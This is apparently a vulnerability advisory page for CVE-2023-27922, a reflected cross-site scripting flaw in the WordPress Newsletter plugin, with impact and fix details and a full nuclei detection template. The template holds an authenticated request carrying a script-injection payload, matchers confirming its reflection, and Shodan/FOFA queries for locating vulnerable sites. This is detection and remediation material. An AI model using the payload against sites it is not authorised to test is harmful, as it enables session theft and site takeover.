Newsletter < 7.6.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators

Impact

Authenticated attackers can exploit reflected XSS through unescaped URL parameters to target high-privilege users like administrators, potentially stealing admin session cookies and hijacking WordPress sites using the Newsletter plugin.

Fix

Update Newsletter plugin to version 7.6.9 or later that properly escapes generated URLs before outputting them in HTML attributes.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=newsletter_system_status&a%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code_2 == 200 and contains(body_2, "text/html") and contains(tolower(body_2), "_newsletter_") and contains(body_2, "><script>alert(document_domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-27922 -u <target>

The full check

id: CVE-2023-27922

info:
  name: Newsletter < 7.6.9 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators
  impact: |
    Authenticated attackers can exploit reflected XSS through unescaped URL parameters to target high-privilege users like administrators, potentially stealing admin session cookies and hijacking WordPress sites using the Newsletter plugin.
  remediation: |
    Update Newsletter plugin to version 7.6.9 or later that properly escapes generated URLs before outputting them in HTML attributes.
  reference:
    - https://wpscan.com/vulnerability/eb6ff6f0-60fe-4345-b443-97fd4800418c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27922
    - https://jvn.jp/en/jp/JVN59341308/
    - https://wordpress.org/plugins/newsletter/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27922
    cwe-id: CWE-79
    epss-score: 0.01198
    epss-percentile: 0.68377
    cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thenewsletterplugin
    product: newsletter
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/newsletter/
    fofa-query: body=/wp-content/plugins/newsletter/
    publicwww-query: /wp-content/plugins/newsletter/
  tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,newsletter,authenticated,thenewsletterplugin,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=newsletter_system_status&a%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "text/html")'
          - 'contains(tolower(body_2), "_newsletter_")'
          - 'contains(body_2, "><script>alert(document_domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from